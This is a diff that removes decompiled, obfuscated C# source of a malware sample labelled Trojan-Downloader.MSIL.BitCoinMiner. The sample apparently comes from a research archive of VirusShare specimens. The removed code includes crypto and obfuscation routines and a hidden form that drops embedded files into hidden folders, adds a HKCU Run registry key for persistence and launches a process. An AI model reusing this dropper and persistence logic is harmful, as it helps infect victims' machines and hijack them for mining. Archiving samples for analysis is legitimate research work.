int num3 = this.\u0005 - this.\u0004;
if (num3 >= this.\u0006)
{
this.\u0002.TransformBlock(this.\u0003, this.\u0004, 16, obj0, obj1);
num1 += 16;
obj1 += 16;
this.\u0004 += 16;
}
else
{
if (num3 > 10)
{
int num4 = num3 - 10;
this.\u0002.TransformBlock(this.\u0003, this.\u0004, num4, obj0, obj1);
num1 += num4;
this.\u0004 += num4;
}
else if (num3 < 10)
throw new Exception(\u0008.\u000E\u0003(1018));
byte[] numArray = this.\u0002.\u009B\u0003();
for (int index = 0; index < 10; ++index)
{
if ((int) numArray[index] != (int) this.\u0003[this.\u0004 + index])
throw new Exception(\u0008.\u000E\u0003(1063));
}
break;
}
}
return num1;
}
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException();
}
}

112
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0007_0002.cs
View File

@ -1,112 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal sealed class \u0007\u0002 : IDisposable, ICryptoTransform
{
private int \u0001;
private ICryptoTransform \u0002;
private readonly byte[] \u0003;
private byte[] \u0004;
private int \u0005;
private byte[] \u0006;
private HMACSHA1 \u0007;
private bool \u0008;
private bool \u000E;
public \u0007\u0002([In] string obj0, [In] byte[] obj1, [In] int obj2, [In] bool obj3)
{
if (obj2 != 16 && obj2 != 32)
throw new Exception(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(1265), (object) obj2, (object) \u0008.\u000E\u0003(1290)));
if (obj1.Length != obj2 / 2)
{
object[] objArray = new object[4]
{
(object) \u0008.\u000E\u0003(1319),
(object) (obj2 / 2),
(object) \u0008.\u000E\u0003(1356),
(object) obj2
};
throw new Exception(\u008B\u0004.\u001E\u0002(objArray));
}
this.\u0001 = obj2;
this.\u0004 = new byte[this.\u0001];
this.\u0005 = 16;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj0, obj1, 1000);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
\u0092\u0004.\u007E\u0002\u0006((object) rijndaelManaged, CipherMode.ECB);
this.\u0003 = new byte[this.\u0001];
byte[] numArray = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
byte[] key = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
this.\u0002 = \u008E\u0003.\u007E\u0003\u0006((object) rijndaelManaged, numArray, key);
this.\u0006 = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, 2);
this.\u0007 = new HMACSHA1(key);
this.\u000E = obj3;
}
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
{
if (!this.\u000E)
{
int num1 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj0, obj1, obj2, obj0, obj1);
}
for (int index1 = 0; index1 < obj2; ++index1)
{
if (this.\u0005 == 16)
{
int index2 = 0;
while (++this.\u0003[index2] == (byte) 0)
++index2;
int num2 = \u0094\u0003.\u007E\u0099\u0005((object) this.\u0002, this.\u0003, 0, this.\u0001, this.\u0004, 0);
this.\u0005 = 0;
}
obj3[index1 + obj4] = (byte) ((int) obj0[index1 + obj1] ^ (int) this.\u0004[this.\u0005++]);
}
if (this.\u000E)
{
int num3 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj3, obj4, obj2, obj3, obj4);
}
return obj2;
}
[SpecialName]
public byte[] \u009A\u0003() => this.\u0006;
public byte[] \u009B\u0003()
{
if (!this.\u0008)
{
byte[] numArray1 = new byte[0];
byte[] numArray2 = \u0081\u0003.\u007E\u0010\u0006((object) this.\u0007, numArray1, 0, 0);
this.\u0008 = true;
}
return \u008A\u0005.\u007E\u000E\u0006((object) this.\u0007);
}
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException(\u0008.\u000E\u0003(1377));
[SpecialName]
public int get_InputBlockSize() => this.\u0001;
[SpecialName]
public int get_OutputBlockSize() => this.\u0001;
[SpecialName]
public bool get_CanTransformMultipleBlocks() => true;
[SpecialName]
public bool get_CanReuseTransform() => true;
public void Dispose() => \u0093\u0003.\u007E\u009E((object) this.\u0002);
}
}

53
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_009F.cs
View File

@ -1,53 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .Ÿ
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0090;
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0001\u0002
{
internal abstract class \u009F : SymmetricAlgorithm
{
public static byte[] \u0096\u0003([In] byte[] obj0)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(838));
if (obj0.Length == 0)
throw new ArgumentException(\u0008.\u000E\u0003(847), \u0008.\u000E\u0003(838));
uint[] numArray = new uint[3]
{
305419896U,
591751049U,
878082192U
};
for (int index = 0; index < obj0.Length; ++index)
{
numArray[0] = \u0091.\u008A\u0003(numArray[0], obj0[index]);
numArray[1] = numArray[1] + (uint) (byte) numArray[0];
numArray[1] = (uint) ((int) numArray[1] * 134775813 + 1);
numArray[2] = \u0091.\u008A\u0003(numArray[2], (byte) (numArray[1] >> 24));
}
return new byte[12]
{
(byte) (numArray[0] & (uint) byte.MaxValue),
(byte) (numArray[0] >> 8 & (uint) byte.MaxValue),
(byte) (numArray[0] >> 16 & (uint) byte.MaxValue),
(byte) (numArray[0] >> 24 & (uint) byte.MaxValue),
(byte) (numArray[1] & (uint) byte.MaxValue),
(byte) (numArray[1] >> 8 & (uint) byte.MaxValue),
(byte) (numArray[1] >> 16 & (uint) byte.MaxValue),
(byte) (numArray[1] >> 24 & (uint) byte.MaxValue),
(byte) (numArray[2] & (uint) byte.MaxValue),
(byte) (numArray[2] >> 8 & (uint) byte.MaxValue),
(byte) (numArray[2] >> 16 & (uint) byte.MaxValue),
(byte) (numArray[2] >> 24 & (uint) byte.MaxValue)
};
}
}
}

7
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0004.cs
View File

@ -1,7 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
internal delegate char[] \u0001\u0004();

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate Delegate \u0001\u0005([In] object obj0, [In] Type obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0002_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate Type \u0002\u0004([In] RuntimeTypeHandle obj0);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0002_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0002\u0005([In] object obj0, [In] object obj1);

73
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003/_0002.cs
View File

@ -1,73 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0003;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0003
{
internal sealed class \u0002
{
private static \u0002 \u0001;
private long \u0002 = DateTime.Now.Ticks;
[DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
private static extern int \u0089(
IntPtr process,
int minimumWorkingSetSize,
int maximumWorkingSetSize);
private void \u0089()
{
try
{
using (Process currentProcess = Process.GetCurrentProcess())
\u0002.\u0089(currentProcess.Handle, -1, -1);
}
catch
{
}
}
private void \u0089(object sender, EventArgs e)
{
try
{
long ticks = DateTime.Now.Ticks;
if (ticks - this.\u0002 <= 10000000L)
return;
this.\u0002 = ticks;
this.\u0089();
}
catch
{
}
}
private \u0002()
{
// ISSUE: method pointer
Application.Idle += new EventHandler((object) this, __methodptr(\u0089));
this.\u0089();
}
public static void \u0007\u0003()
{
try
{
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
return;
\u0002.\u0001 = new \u0002();
}
catch
{
}
}
}
}

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate int \u0003\u0004([In] object obj0, [In] char[] obj1, [In] int obj2);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0003_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0003\u0005([In] object obj0, [In] string obj1, [In] string obj2);

230
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0003/_0003_0003.cs
View File

@ -1,230 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0004\u0003;
using \u000E;
using \u0019\u0002;
using \u009C\u0002;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace \u0004\u0003
{
internal sealed class \u0003\u0003 : Form
{
private IContainer \u0001;
[DebuggerNonUserCode]
public \u0003\u0003()
{
\u0016\u0003 obj1 = \u0016\u0003.\u0098\u0006;
\u0003\u0003 obj2 = this;
// ISSUE: virtual method pointer
EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0016\u0006));
obj1((object) this, eventHandler);
this.\u0011\u0006();
}
[DebuggerNonUserCode]
protected override void Dispose([In] bool obj0)
{
try
{
if (!obj0 || this.\u0001 == null)
return;
\u0093\u0003.\u007E\u009E((object) this.\u0001);
}
finally
{
\u0013\u0003.\u0099\u0006((object) this, obj0);
}
}
private void \u0011\u0006()
{
// ISSUE: type reference
ComponentResourceManager componentResourceManager = new ComponentResourceManager(\u0002\u0004.\u0092\u0003(__typeref (\u0003\u0003)));
\u0093\u0003.\u007E\u008A\u0006((object) this);
\u009D\u0003.\u007E\u008B\u0006((object) this, new SizeF(6f, 13f));
\u0010\u0005.\u007E\u008C\u0006((object) this, AutoScaleMode.Font);
\u000F\u0005.\u007E\u008F\u0006((object) this, new Size(1, 1));
\u0013\u0003.\u007E\u0090\u0006((object) this, false);
\u0012\u0005.\u007E\u008E\u0006((object) this, FormBorderStyle.None);
\u001E\u0005.\u007E\u0091\u0006((object) this, (Icon) \u0019\u0004.\u007E\u0097\u0004((object) componentResourceManager, \u0008.\u000E\u0003(6889)));
\u0013\u0003.\u007E\u0092\u0006((object) this, false);
\u0013\u0003.\u007E\u0093\u0006((object) this, false);
\u001B\u0003.\u007E\u0088\u0006((object) this, \u0008.\u000E\u0003(6906));
\u0082\u0004.\u007E\u0094\u0006((object) this, 0.0);
\u0013\u0003.\u007E\u0096\u0006((object) this, false);
\u0013\u0003.\u007E\u0095\u0006((object) this, false);
\u0008\u0005.\u007E\u0097\u0006((object) this, SizeGripStyle.Hide);
\u0013\u0003.\u007E\u0089\u0006((object) this, false);
}
private void \u0012\u0006()
{
label_0:
int num1;
int num2;
try
{
int num3 = 1;
string str1 = \u0007\u0005.\u007E\u0083((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()), \u0083\u0005.\u0083\u0006());
label_1:
num3 = 2;
string[] strArray = \u001C\u0005.\u0086(str1, \u0008.\u000E\u0003(6915), -1, CompareMethod.Binary);
label_2:
num3 = 3;
string str2 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[1], 0, 1));
label_3:
num3 = 4;
string str3 = \u0014\u0004.\u007E\u0015\u0002((object) \u001A\u0005.\u007E\u0018\u0002((object) strArray[2], 0, 1));
label_4:
num3 = 5;
string str4 = \u0014\u0004.\u007E\u0015\u0002((object) \u0014\u0004.\u007E\u0084((object) \u0013\u0004.\u007E\u0082((object) \u008D\u0004.\u007E\u001C((object) \u009E\u0002.\u0006\u0006()))));
label_5:
num3 = 6;
string str5 = \u0008.\u000E\u0003(6928);
label_6:
num3 = 7;
string str6 = \u0014\u0004.\u007E\u0015\u0002((object) \u0083\u0003.\u001C\u0003(Environment.SpecialFolder.ApplicationData));
label_7:
\u009E\u0004.\u0080();
num1 = -2;
label_8:
num3 = 9;
string str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6933));
label_9:
num3 = 10;
\u0011\u0004.\u001D\u0005(str7);
label_10:
num3 = 11;
\u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str2, str7);
label_11:
num3 = 12;
this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
label_12:
num3 = 13;
str7 = \u0088\u0005.\u001F\u0002(str4, \u0008.\u000E\u0003(6959));
label_13:
num3 = 14;
\u0011\u0004.\u001D\u0005(str7);
label_14:
num3 = 15;
\u0096\u0004.\u007E\u001B((object) \u0012\u0004.\u007E\u001D((object) \u009E\u0002.\u0006\u0006()), str3, str7);
label_15:
num3 = 16;
this.\u0014\u0006(str7, \u0088\u0005.\u001F\u0002(str5, \u0008.\u000E\u0003(6946)));
label_16:
num3 = 17;
\u0003\u0003.\u0015\u0006(\u0008.\u000E\u0003(6976), \u0008.\u000E\u0003(6989));
label_17:
num3 = 18;
this.\u0013\u0006();
goto label_24;
label_19:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_24;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_19;
}
throw \u0095\u0003.\u001F(-2146828237);
label_24:
if (num2 == 0)
return;
\u009E\u0004.\u0080();
}
private void \u0013\u0006()
{
Process process = new Process();
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0008.\u000E\u0003(6989));
\u0091\u0003.\u007E\u001F\u0006((object) process, processStartInfo);
int num = \u0007\u0003.\u007E\u0080\u0006((object) process) ? 1 : 0;
}
private void \u0014\u0006([In] string obj0, [In] string obj1)
{
if (!\u0005\u0005.\u0014\u0005(obj1))
goto label_2;
label_1:
new \u001A\u0002().\u0094\u0004(obj0, obj1, \u0008.\u000E\u0003(837));
return;
label_2:
DirectoryInfo directoryInfo = new DirectoryInfo(obj1);
\u0093\u0003.\u007E\u0018\u0005((object) directoryInfo);
\u008F\u0004.\u007E\u0016\u0005((object) directoryInfo, FileAttributes.Hidden);
goto label_1;
}
public static void \u0015\u0006([In] string obj0, [In] string obj1)
{
RegistryKey currentUser = Registry.CurrentUser;
RegistryKey registryKey = \u0090\u0003.\u007E\u0098\u0004((object) currentUser, \u0008.\u000E\u0003(7026), true);
\u0092\u0003.\u007E\u0099\u0004((object) registryKey, obj0, (object) obj1, RegistryValueKind.String);
}
private void \u0016\u0006([In] object obj0, [In] EventArgs obj1) => this.\u0012\u0006();
}
}

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate int \u0004\u0004([In] object obj0, [In] object obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0004_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0004\u0005([In] byte[] obj0);

184
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005/_0004.cs
View File

@ -1,184 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0005;
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0005
{
internal static class \u0004
{
private static ModuleHandle \u0001;
private static char[] \u0002 = new char[58]
{
'\u0001',
'\u0002',
'\u0003',
'\u0004',
'\u0005',
'\u0006',
'\a',
'\b',
'\u000E',
'\u000F',
'\u0010',
'\u0011',
'\u0012',
'\u0013',
'\u0014',
'\u0015',
'\u0016',
'\u0017',
'\u0018',
'\u0019',
'\u001A',
'\u001B',
'\u001C',
'\u001D',
'\u001E',
'\u001F',
'\u007F',
'\u0080',
'\u0081',
'\u0082',
'\u0083',
'\u0084',
'\u0086',
'\u0087',
'\u0088',
'\u0089',
'\u008A',
'\u008B',
'\u008C',
'\u008D',
'\u008E',
'\u008F',
'\u0090',
'\u0091',
'\u0092',
'\u0093',
'\u0094',
'\u0095',
'\u0096',
'\u0097',
'\u0098',
'\u0099',
'\u009A',
'\u009B',
'\u009C',
'\u009D',
'\u009E',
'\u009F'
};
public static void \u0008\u0003([In] int obj0)
{
Type typeFromHandle;
try
{
typeFromHandle = Type.GetTypeFromHandle(\u0004.\u0001.ResolveTypeHandle(33554433 + obj0));
}
catch
{
return;
}
foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
string name = field.Name;
bool flag = false;
int num = 0;
for (int index1 = name.Length - 1; index1 >= 0; --index1)
{
char ch = name[index1];
if (ch == '~')
{
flag = true;
break;
}
for (int index2 = 0; index2 < 58; ++index2)
{
if ((int) \u0004.\u0002[index2] == (int) ch)
{
num = num * 58 + index2;
break;
}
}
}
MethodInfo methodFromHandle;
try
{
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0004.\u0001.ResolveMethodHandle(num + 167772161));
}
catch
{
continue;
}
Delegate @delegate;
if (methodFromHandle.IsStatic)
{
try
{
@delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
}
catch (Exception ex)
{
continue;
}
}
else
{
ParameterInfo[] parameters = methodFromHandle.GetParameters();
int length = parameters.Length + 1;
Type[] parameterTypes = new Type[length];
parameterTypes[0] = typeof (object);
for (int index = 1; index < length; ++index)
parameterTypes[index] = parameters[index - 1].ParameterType;
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
if (length > 1)
ilGenerator.Emit(OpCodes.Ldarg_1);
if (length > 2)
ilGenerator.Emit(OpCodes.Ldarg_2);
if (length > 3)
ilGenerator.Emit(OpCodes.Ldarg_3);
if (length > 4)
{
for (int index = 4; index < length; ++index)
ilGenerator.Emit(OpCodes.Ldarg_S, index);
}
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
ilGenerator.Emit(OpCodes.Ret);
try
{
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
}
catch
{
continue;
}
}
try
{
field.SetValue((object) null, (object) @delegate);
}
catch
{
}
}
}
static \u0004()
{
if ((object) typeof (MulticastDelegate) == null)
return;
\u0004.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
}
}
}

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate ModuleHandle \u0005\u0004([In] object obj0);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0005_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate bool \u0005\u0005([In] string obj0);

298
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_0006.cs
View File

@ -1,298 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0012;
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
namespace \u0006
{
internal sealed class \u0006
{
private static Hashtable \u0001 = new Hashtable();
[DllImport("kernel32", EntryPoint = "MoveFileEx")]
private static extern bool \u008A([In] string obj0, [In] string obj1, [In] int obj2);
[SpecialName]
internal static bool \u008A()
{
try
{
string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
if (lower == \u0008.\u000E\u0003(166))
return true;
if (lower == \u0008.\u000E\u0003(179))
return true;
}
catch (Exception ex)
{
}
return false;
}
internal static void \u008A()
{
try
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0006.\u0006.\u008A);
if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0006.\u0006.\u008A())
return;
string[] strArray = \u0008.\u000E\u0003(200).Split(',');
for (int index = 0; index < strArray.Length - 1; index += 2)
{
try
{
string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index]));
string str2 = strArray[index + 1];
if (str2.Length > 0)
{
if (str2[0] == '[')
{
